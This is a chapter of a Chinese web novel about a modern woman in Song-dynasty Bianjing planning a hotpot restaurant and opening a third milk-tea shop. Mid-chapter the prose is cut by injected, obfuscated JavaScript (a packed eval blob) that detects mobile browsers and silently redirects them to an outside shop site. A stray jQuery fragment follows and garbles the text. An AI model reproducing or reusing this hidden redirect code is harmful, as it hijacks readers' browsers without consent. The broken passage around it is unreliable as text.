文趣网 > 其他小说 > 汴京食肆日常 > 53. 第 53 章
    隔壁卖绸缎的孙掌柜,斜对面开香料铺子的钱掌柜,再加上拐角处经营笔墨纸砚的老张,三个人凑在钱掌柜铺子二楼门口,远远瞅着那边进进出出的人影。

    “瞧见没?就一个年轻姑娘,带了两个丫鬟。”

    孙掌柜压低嗓门。

    “这铺子可是苏家赌石行的,前东家犯了多大的事儿,贪墨朝廷赈灾银子,全家抄了个底朝天。”

    钱掌柜捻了捻胡须,摇头啧啧。

    “一般富贵人家看见这种铺子,躲都来不及。晦气!谁敢沾?”

    “可不是嘛。”老张附和。

    “能盘下这铺子的人,要么是不信邪,要么是——来头大到不怕沾。”

    三人对视一眼。

    孙掌柜缩了缩脖子:“甭管人家做什么买卖,咱远着敬着,别惹事就成。”

    另外两人深以为然。

    各自回了铺子,关起门来该干嘛干嘛。

    夏昭垚压根没注意到几双打量的目光。

    就算注意到了,也懒得搭理。

    她满脑子都在琢磨铺子怎么改。

    站在一楼大堂正中央,她双手叉腰,缓缓转了一圈。

    面积够大,这是优势。

    目测少说也有几百个平方,嗯,换算成宋制也相当可观了。

    现在时下的酒楼食肆,一楼都是大堂散座,乌泱泱全坐一块儿,谁跟谁都挨着,吵闹不说,吃着吃着对面桌有人打个喷嚏,那唾沫星子指不定就飞碗里了。

    二楼三楼才是雅座包厢,专给有钱人备着。

    普通人想清清静静吃顿饭?做梦去吧。

    但火锅不一样啊,火锅讲究热闹,讲究氛围,但也得让客人有私密感。

    谁愿意涮着毛肚的时候,被隔壁桌看见自己抢最后一块肉的狼狈样?

    夏昭垚脑子里迅速浮现出现代餐厅的布局,大堂做半包围式卡座,用屏风隔断。

    每一桌之间既不完全封闭,又有足够遮挡,半开半合,进门能看见热气腾腾、红红火火的大堂景象,坐下来又有自己的小天地。

    二楼做雅间,三楼做大包房,专接宴席。

    “就这么办。”

    至于装潢嘛,色调是关键。

    赌石铺子遗留的黑漆厚木和铁栅栏,统统拆干净,换成暖色调。

    朱红、橘黄、鹅黄,再配上暖色灯笼,人一走进来,还没坐下,食欲就先被勾起来三分火锅这东西,卖的就是一个氛围。

    不过现在还是正月里头,她心里默默盘算,年节期间找不到多少工匠,强行开工也不合适,等过了正月十五,元宵节一完,各行各业恢复运转,再大刀阔斧动手不迟。

    底料的问题最省心。

    系统商城里火锅底料十文一袋,便宜得跟不要钱似的,牛油锅底,香气浓郁,比这个时代清汤寡水的羊骨锅子不知道强了多少倍。

    到时候一口气买个几千袋,全囤仓库里,够用一段时间了。

    真正要花心思的是食材。

    汴京城里也有不少锅子铺子,但那都是什么东西?

    一口铜锅,架在炭炉上,里面煮着羊骨清汤。

    往里头扔几片羊肉、几块豆腐、一把菘菜。

    煮熟了捞出来蘸点酱吃,说白了就是现煮版的乱炖。

    跟现代火锅完全不是一回事。

    她要做的是正儿八经的火锅,锅底就准备四种——骨汤、菌菇、番茄、香辣。

    全是牛油底子。

    往桌上一端,光那股翻滚的浓香就能馋哭隔壁。

    食材也得精挑细选。

    牛羊肉要现切,薄厚均匀,这年头汴京人杀牛杀羊,内脏大多不怎么精细处理,得找专门的屠户定制供货。

    蔬菜倒好办,汴京城外菜农多的是,豆腐皮、粉条、菌菇、莲藕、山药或者一些时令蔬菜都成。

    蘸料也不能马虎。

    芝麻酱、蒜泥、香油、葱花、香菜,调一碗灵魂蘸碟。

    光想想就流口水。

    夏昭垚在心里把计划过了一遍又一遍,越想越兴奋。

    “成了!”

    她拍了拍手,回过头看两个丫鬟。

    春禾正拿帕子仔细擦拭二楼楼梯扶手,一节一节,不放过任何角落。

    秋穗则蹲在后院井边,好奇地往井里探头。

    “秋穗!别掉进去!”

    夏昭垚喊了一嗓子。

    秋穗嗖地缩回脑袋,吐了吐舌头。

    “春禾,过来。”

    夏昭垚招了招手。

    春禾放下帕子,小跑过来。

    “姑娘有什么吩咐?”

    “我一会儿去趟牙行,雇几个人来打扫铺子。里里外外都要收拾干净,碎石头烂木头全清出去。”

    夏昭垚看着她。

    “你留在这儿盯着。”

    春禾愣了一瞬。

    “我一个人?”

    “对。雇来的人不熟,总得有个咱们自己人看着。你稳当,这事儿交给你我放心。”

    夏昭垚拍了拍她肩膀。

    春禾抿了抿唇,虽说心里有些打鼓,但姑娘信任自己,这份看重不能辜负。

    她挺直腰板,认真点头。

    “姑娘放心,我看着。”

    “好。有什么事拿不准的,先记下来,回头跟我说。”

    夏昭垚又叮嘱了几句,便带着秋穗出了门。

    牙行就在马行街往南拐两条巷子。

    夏昭垚手脚利索,进去没多久就挑好了人。

    四男一女,年纪都在二三十岁,手脚麻利,干过粗活。

    牙行掌柜保了身份,签了短契,按日结工钱。

    夏昭垚带着人回到铺子,把春禾叫到一边,低声交代了几句,哪些地方先清理,哪些东西搬到后院暂放,木架子不要劈了当柴烧,回头还能改造利用。

    春禾一一记下,拿出了在大户人家当差练出来的架势,有条不紊地指挥起来。

    那几个雇工本来还想偷懒,看这小丫鬟说话虽轻声细语,但条理分明、一板一眼,倒不敢含糊了。

    夏昭垚满意地看了一眼,转身走了。

    “秋穗,回家。”

    “好嘞!”

    秋穗跟在后头,两条小短腿倒腾得飞快。

    走了大半条街,秋穗突然嘿嘿笑起来。

    “姑娘,你说咱们这火锅铺子开起来,能不能比一口香还火?”

    “那必须的。”

    夏昭垚头也不回。

    “奶茶是喝的,火锅是吃的。这年头谁不爱吃?”

    秋穗使劲点头。

    “那我能不能天天吃?”

    “你若是不怕胖,一天三顿的吃我也没意见。”

    主仆俩说说笑笑,穿过热闹的街市,拐进巷子。

    远远地,夏昭垚就看见自家门口站着一个人。

    身形纤细,穿着一件崭新的靛蓝棉袄,头上只簪了一根鎏金梅花簪子,踮着脚往巷子口张望。

    是婉娘。

    “婉娘?”

    夏昭垚快步走过去。

    “你怎么在外头站着?这大冷天的。”

    婉娘转过身,露出一个浅浅的笑。

    鼻尖冻得微微泛红。

    “东家,我来找你,敲了好一会儿门没人应,猜着你大概出去了,就在这儿等着。”

    “快进屋。”

    夏昭垚赶紧推开门。

    秋穗手脚麻利,进门就去烧水沏茶。

    婉娘搓了搓冻僵的手指,在椅子上坐下。

    “东家,是第三家铺子的事。”

    “潘楼东街那个?”

    “嗯。”

    婉娘从袖子里掏出一张折好的纸,展开来放在桌上。

    “铺面已经全部收拾好了。里外粉刷一新,桌椅摆设都按照咱们前两家的规格来。”

    她一条一条说下去,声音柔柔的,但逻辑清清楚楚。

    “人手也选好了。一个掌柜,两个伙计,一个专管煮茶调配,全是我亲自面过的。”

    “手艺怎么样?”

    “练了大半个月了,出品稳定。不过……”

    婉娘顿了顿,抬眼看她。

    “我拿不准有没有什么要改的地方,想请东家亲自去看看。”

    夏昭垚接过那张纸扫了一眼。

    铺面图、人员名册、开支预算,写得明明白白。

    字迹娟秀,一丝不苟。

    婉娘这人吧,看着柔柔弱弱,办起事来比谁都靠谱。

    “行,现在就去。”

    夏昭垚站起来。

    “秋穗!茶别沏了,跟我走!”

    秋穗刚把水壶提起来,又放下了。

    “又走?姑娘你今天属陀螺的啊!”

    “少废话,赶紧。”

    三人出了门,直奔潘楼东街。

    潘楼东街比马行街更偏内城,临着大相国寺,人流量丝毫不逊色。

    夏昭垚一跨进新铺子的门槛,眼前顿时一亮。

    大堂明亮宽敞,四周全是镂空雕花大窗,光线毫无阻碍倾泻进来。

    柜台用的是原木色调,干净清爽,墙上挂着几幅淡雅水墨画。

    每张桌子上,还摆着一小盆鲜活水仙花,整体格调温馨又高级,绝没有半分市侩铜臭气。

    夏昭垚看得连连点头。

    “不错啊婉娘。”

    夏昭垚由衷赞叹。

    “这装修比前两家都好,格调上去了。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948605|208642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>婉娘站在一旁,闻言低下头,双手不自觉绞在一起。

    耳根悄悄红了。

    “都、都是东家你教得好……之前你画的那些图样,我就是照着弄的。”

    “图样是死的,人是活的。同样的图样换个人来弄,未必有这效果。”

    夏昭垚摆摆手,不让她谦虚。

    “行了行了,别脸红了。让我尝尝你们新人的手艺。”

    婉娘赶忙转身,朝后厨喊了一声。

    “小鹊,做一杯海盐焦糖奶茶。”

    后厨应了一声。

    不多时,一个梳着双丫髻的小姑娘端着托盘出来了。

    托盘上放着一只青瓷杯,杯中液体呈深焦糖色,表面浮着一层细腻奶沫,微微泛着盐粒的光泽。

    夏昭垚接过来,先凑近闻了闻,焦糖的甜香混着淡淡奶香,味道很正,她抿了一口。

    奶茶入喉顺滑,焦糖的浓郁甜味先冲上来,紧接着海盐的咸鲜恰到好处地中和了甜腻。

    回味里带着一丝苦韵。

    层次分明,不输前两家老店员的水准。

    “好喝。”

    她又喝了一大口。

    这款海盐焦糖奶茶是她专门为第三家新店准备的新品,新店开业,总得有点新鲜东西镇场子。

    “手艺过关了。”

    夏昭垚把杯子放下。

    婉娘松了口气,眉眼弯弯。

    “那东家,咱们定什么日子开业?”

    “正月十六。”

    夏昭垚想了想。

    “正月十五元宵节,满城都在看灯会,没人惦记喝奶茶。十六日刚好,节过完了,人还在城里逛,正是热闹的时候。”

    婉娘点头记下。

    “对了——”

    夏昭垚忽然想起一件事。

    她从袖子里摸出几张叠好的纸,递给婉娘。

    “这是薛姐姐新写的几首诗。”

    婉娘展开看了看,虽然她不太擅长品评诗词,但也看得出笔力不俗。

    字字清丽,意境悠远。

    “那些读书人、闺阁小姐们,冲着诗笺来买奶茶的不少。”

    夏昭垚翘起嘴角。

    “新店开业,把这几首诗印成新诗笺,随奶茶一起推出去。老客有新鲜感,新客有好奇心,一举两得。”

    婉娘眼睛一亮,小心翼翼把诗稿收好。

    “东家放心,我回头就找人排版印制。”

    “嗯。”

    夏昭垚拍了拍她肩膀。

    “辛苦你了,这些日子城南城北两头跑,也不容易。”

    婉娘摇摇头。

    “不辛苦。”

    她垂下眼帘,声音很轻。

    “能有事做,比什么都好。”

    这句话说得平淡。

    可夏昭垚听得出分量。

    婉娘从青楼被赎出来,又被人抛弃,辗转流落到几乎无处可去。

    是夏昭垚收留了她,给她一份正经营生。

    从最初连看人眼色都战战兢兢,到如今独当一面管着汴京三家铺子,这个看似柔弱的女人,骨子里韧得很。

    “行。”

    夏昭垚没再多说煽情话,她不是那种爱抒情的人。

    “回头忙完这阵,我请你吃好的。马行街那边我新盘了个大铺子,准备开火锅店。”

    “火锅?”

    婉娘歪了歪头。

    “就是锅子,但比锅子好吃一万倍的那种。”

    夏昭垚比划了一下。

    “到时候你就知道了。”

    婉娘笑了笑,不再追问。

    东家说好吃一万倍,那就是一万倍,她从来不怀疑这一点。

    从潘楼东街出来,天色已经暗下来了。

    暮色里的汴京城华灯初上,沿街灯笼次第亮起,映着薄薄暮霭,恍若流金。

    秋穗跟在后头,手里捧着婉娘临走前硬塞给她的一杯奶茶,边走边吸溜。

    “姑娘。”

    她含着吸管,含含糊糊。

    “今天跑了一天,腿都细了。”

    “你腿本来就细。”

    “那更细了!”

    夏昭垚被她逗笑。

    冬夜的冷风灌进领口,她裹了裹披风,脑子里转着好几件事,马行街铺子的装修方案要画图,火锅食材供货渠道要找,一口香新店开业还有一堆琐碎细节。

    忙是真忙,但这种忙让人踏实。

    银子在进,事业在扩,手底下有靠得住的人,日子一天比一天有奔头。

    夏昭垚仰头看了看天,月亮还没升起来,只有几颗寒星缀在深蓝天幕上。

    “走,回家。”

    她加快脚步。

    “明天还有得忙呢。”